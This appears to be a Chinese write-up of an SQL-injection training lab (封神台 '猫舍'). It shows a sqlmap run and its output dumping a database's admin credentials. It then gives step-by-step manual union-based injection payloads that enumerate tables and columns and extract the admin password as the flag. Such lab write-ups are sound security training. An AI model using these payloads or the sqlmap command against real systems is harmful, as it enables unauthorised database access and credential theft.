封神台 SQL注入 靶场 (猫舍)手动注入

靶场地址 http://pu2lh35s.ia.aqlab.cn/?id=1

使用脚本

  • 可以直接使用sqlmap脚本 直接 对这个地址进行测试 不过这样实在是太没意思了
  • 这里使用的是 sqlmap 二次开发的 sqlmapplus 脚本 sqlmap 也是一样的
sqlmapX -u "http://pu2lh35s.ia.aqlab.cn/?id=1" -D "maoshe"  --dump  --batch --random-agent
___
__H__
___ ___["]_____ ___ ___ {1.8#stable}
|_ -| . [.] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:46:16 /2024-10-12/ [20:46:16] [INFO] fetched random HTTP User-Agent header value 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr) AppleWebKit/416.11 (KHTML, like Gecko) Safari/416.12' from file '/home/kali/tools/SqlmapXPlus/data/txt/user-agents.txt'
[20:46:17] [INFO] resuming back-end DBMS 'mysql'
[20:46:17] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 8425=8425 Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3539 FROM (SELECT(SLEEP(5)))tWAV)
---
[20:46:17] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
[20:46:17] [INFO] fetching tables for database: 'maoshe'
[20:46:17] [INFO] fetching number of tables for database 'maoshe'
[20:46:17] [INFO] resumed: 4
[20:46:17] [INFO] resumed: admin
[20:46:17] [INFO] resumed: dirs
[20:46:17] [INFO] resumed: news
[20:46:17] [INFO] resumed: xss
[20:46:17] [INFO] fetching columns for table 'admin' in database 'maoshe'
[20:46:17] [INFO] resumed: 3
[20:46:17] [INFO] resumed: Id
[20:46:17] [INFO] resumed: username
[20:46:17] [INFO] resumed: password
[20:46:17] [INFO] fetching entries for table 'admin' in database 'maoshe'
[20:46:17] [INFO] fetching number of entries for table 'admin' in database 'maoshe'
[20:46:17] [INFO] resumed: 2
[20:46:17] [INFO] resumed: 1
[20:46:17] [INFO] resumed: hellohack
[20:46:17] [INFO] resumed: admin
[20:46:17] [INFO] resumed: 2
[20:46:17] [INFO] resumed: zkaqbanban
[20:46:17] [INFO] resumed: ppt
Database: maoshe
Table: admin
[2 entries]
+----+------------+----------+
| Id | password | username |
+----+------------+----------+
| 1 | hellohack | admin | ## 这里已经发现了 flag
| 2 | zkaqbanban | ppt |
+----+------------+----------+ [20:46:17] [INFO] table 'maoshe.`admin`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/admin.csv'
[20:46:17] [INFO] fetching columns for table 'xss' in database 'maoshe'
[20:46:17] [INFO] resumed: 3
[20:46:17] [INFO] resumed: id
[20:46:17] [INFO] resumed: user
[20:46:17] [INFO] resumed: pass
[20:46:17] [INFO] fetching entries for table 'xss' in database 'maoshe'
[20:46:17] [INFO] fetching number of entries for table 'xss' in database 'maoshe'
[20:46:17] [INFO] resumed: 0
[20:46:17] [WARNING] table 'xss' in database 'maoshe' appears to be empty
Database: maoshe
Table: xss
[0 entries]
+----+------+--------+
| id | pass | user |
+----+------+--------+
+----+------+--------+ [20:46:17] [INFO] table 'maoshe.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/xss.csv'
[20:46:17] [INFO] fetching columns for table 'news' in database 'maoshe'
[20:46:17] [INFO] resumed: 2
[20:46:17] [INFO] resumed: id
[20:46:17] [INFO] resumed: content
[20:46:17] [INFO] fetching entries for table 'news' in database 'maoshe'
[20:46:17] [INFO] fetching number of entries for table 'news' in database 'maoshe'
[20:46:17] [INFO] resumed: 3
[20:46:17] [INFO] resumed: <div class="spacer"></div><div class="item"><div class="title">
[20:46:17] [INFO] resumed: 1
[20:46:17] [INFO] resumed: <h1>
[20:46:17] [INFO] resumed: 2
[20:46:17] [INFO] resumed: <h1>
[20:46:17] [INFO] resumed: 3
Database: maoshe
Table: news
[3 entries]
+----+-----------------------------------------------------------------+
| id | content |
+----+-----------------------------------------------------------------+
| 1 | <div class="spacer"></div><div class="item"><div class="title"> |
| 2 | <h1> |
| 3 | <h1> |
+----+-----------------------------------------------------------------+ [20:46:18] [INFO] table 'maoshe.news' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/news.csv'
[20:46:18] [INFO] fetching columns for table 'dirs' in database 'maoshe'
[20:46:18] [INFO] resumed: 1
[20:46:18] [INFO] resumed: paths
[20:46:18] [INFO] fetching entries for table 'dirs' in database 'maoshe'
[20:46:18] [INFO] fetching number of entries for table 'dirs' in database 'maoshe'
[20:46:18] [INFO] resumed: 0
[20:46:18] [WARNING] table 'dirs' in database 'maoshe' appears to be empty
Database: maoshe
Table: dirs
[0 entries]
+-------+
| paths |
+-------+
+-------+ [20:46:18] [INFO] table 'maoshe.dirs' dumped to CSV file '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn/dump/maoshe/dirs.csv'
[20:46:18] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/pu2lh35s.ia.aqlab.cn' [*] ending @ 20:46:18 /2024-10-12/

手动注入

判断是否存在 SQL注入漏洞

  • 构造and 1=1,这个语句是恒成立的,一般页面都是不报错的



  • 尝试 1=2

  • 这里报错了 说明存在 注入漏洞

使用 order by 语句 判断数据库字段数

  • 构造?id=1 and 1=1 order by 1 页面没有变化(order by 1表示根据第一列来排序,一般也是如此默认升序的)
  • 再来依次构造order by 2 / order by 3
  • 由MySQL的语法有,order by后面的数据超过列数后将会报错,因此用种方法来判断一共有几个字段





  • order by 1/order by 2 都没有任何问题 但是 order by 3 报错了

使用联合查询判断回显点

  • 回显点就是在页面中能显示数据库信息的板块,比如有的网页中“浏览次数”“发布时间”等,都反应的是数据库中的数据
  • 在MySQL语句中,页面一次只能显示一行查询的内容,而且是先查后显示,于是我们需要让前面的语句?id=1 and 1=1这句话失效,从而显示union select 1,2的内容
  • 因此我们让前一个命令报错无法显示,即构造?id=1 and 1=2,后面照常union select 1,2

使用回显点 查询相关的数据

  1. 查询当前数据库的名称
  • 已知2为回显点,我们只需要在联合查询时将2替代为我们想要查询到部位名称即可
  • 可以查询当前的数据库名,将2替换为database()
  • 构造id=1 and 1=2 union select 1,database()

  • 数据库名为maoshe
  1. 查询数据库中的表名
  • 构造 ?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
  • limit 0,1的意思是从0开始,查询第1个数据



  • 只要修改后面的 limit 0,1 /limit 1,1/limit 2,1 就可以看到后面的表名了
  • 说明后面 的数据库的表 分别是 admin dirs news xss
  • 而当后面是 limit 4,1 的时候 就是空白的 说明只有四张表 而管理员的信息一般都存在 admin 中
  1. 查询admin表的列名
  • 构造 ?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

  • 同样 修改后面的 limit 0,1 就可以看到 后面的列名 第一列是 id 第二列是 username 第三列 则是password
  • 现在所有的信息都找到了 直接查询就可以了
  1. 查询需要的信息
  • 构造 ?id=1 and 1=2 union select 1,username from admin

  • 构造 ?id=1 and 1=2 union select 1,password from admin where username = 'admin'

结束

  • Flag 已经找到了 也就是 管理员的密码 hellohack

封神台 SQL注入 靶场 (猫舍)手动注入的更多相关文章

  1. SQL注入之猫舍之sqlmap的使用

    先说一下最常用的基础指令 -u 指定注入点(一般为url栏的网址) --dbs 跑库名 --tables 跑表名 --columns 跑字段名 --dump 枚举数据(高危指令,容易进去) -D 库名 ...

  2. SQL注入之猫舍

    第一步:先查看是否存在注入点:构造?id=1 and 1=1 回车后发现页面正常 构造?id=1 and 1=2 发现页面异常,得出结论:存在注入点 第二步:判断字段数 当输入order by 1和o ...

  3. dvwa——sql手动注入和sqlmap自动注入

    手动注入 low: 源码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; ...

  4. 掌控安全学院SQL注入靶场宽字节注入

    在php中,magic_quotes_gpc这个函数为on时,就开启了转义功能,另外addslashes和mysql_real_escape_string也可以实现转义功能.可转移的的内容包括:单双引 ...

  5. PHP手动注入实验

    课程编写 类别 内容 实验课题名称 PHP手动注入实验 实验目的与要求 1.通过手动注入PHP页面,获取password字段名. 2.了解PHP手动注入的基本原理. 3.了解PHP手动注入的过程和基本 ...

  6. 第二次靶场练习:cookie注入

    cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...

  7. java web(一) 使用sql标签库+tomcat+mysql手动创建一个jsp练习总结

    2016-09-0111:06:53                                     使用sql标签库+tomcat+mysql手动创建一个jsp 1. 1.1安装tomcat ...

  8. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  9. spring xml配置注入改为手动注入过程

    项目中需要使用MQ组件来接受消息,但是有的时候,在使用的时候,并不能满足spring注入的条件,无法注入.例如 在jfinal的config的afterJFinalStart中,由于jfinal集成s ...

  10. sql盲注之报错注入(附自动化脚本)

    作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...

随机推荐

  1. 【UEditor】富文本编辑器 简单上手

    富文本编辑器是一个使用前端组件渲染的文本编辑器 功能强大,交互友好,我们写评论,写文章,一些文本编辑的地方就会使用这种编辑器插件 另外在官方文档的下面还提到了我们这个插件的一些后端软件[指Java]要 ...

  2. URDF使用语法【万字解析赶紧码住】 —— 机器人统一描述文件格式(Unified Robot Description Format)

    原文地址: https://zhuanlan.zhihu.com/p/665269288 具体内容略,请参照原文.

  3. Hession-free 的共轭梯度法的高效计算版本的部分代码(pytorch实现,实现一阶求导的一次计算重复使用)

    Hession-free 的共轭梯度法的高效计算版本的部分代码(pytorch实现,实现一阶求导的一次计算重复使用) Hession-free 的共轭梯度法在求解 H*v 的时候是先求一阶导,即雅可比 ...

  4. python网络连接报错:ValueError("Unable to determine SOCKS version from %s" % proxy_url) ValueError: Unable to determine SOCKS version from socks://192.168.1.100:1080/

    python应用proxy网络连接报错: return super().send(request, *args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ...

  5. 【转载】 miniImageNet数据集介绍

    版权声明:本文为CSDN博主「miguemath」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net/wangkai ...

  6. SMU Summer 2024 Contest Round 7

    SMU Summer 2024 Contest Round 7 Make Equal With Mod 题意 给定一个长度为 \(n\) 的数列 \(a\).你可以执行若干次操作,每次操作选择一个大于 ...

  7. plupload附件上传插件IE8问题

    前段时间遇到一个plupload上传插件问题,在其他浏览器上面运行很正常,但是就是在IE8上面第一次点击上传按钮无反应,后面再连续点击才ok.我的初始化代码如下 _this.uploader = ne ...

  8. MySQL 亿级数据平滑迁移实战

    作者:来自 vivo 互联网服务器团队- Li Gang 本文介绍了一次 MySQL 数据迁移的流程,通过方案选型.业务改造.双写迁移最终实现了亿级数据的迁移. 一.背景 预约业务是 vivo 游戏中 ...

  9. 2022 CCPC 广州站 Alice and Her Lost Cat

    1 #include <bits/stdc++.h> 2 using namespace std; 3 #define rg register 4 #define ll long long ...

  10. PCIe简介

    PCIe简介 Peripheral Component Interconnect Express (PCI),高速串行计算机扩展总线标准,PCIe对外围设备的组织方式是树形结构. 拓扑结构 根: 树的 ...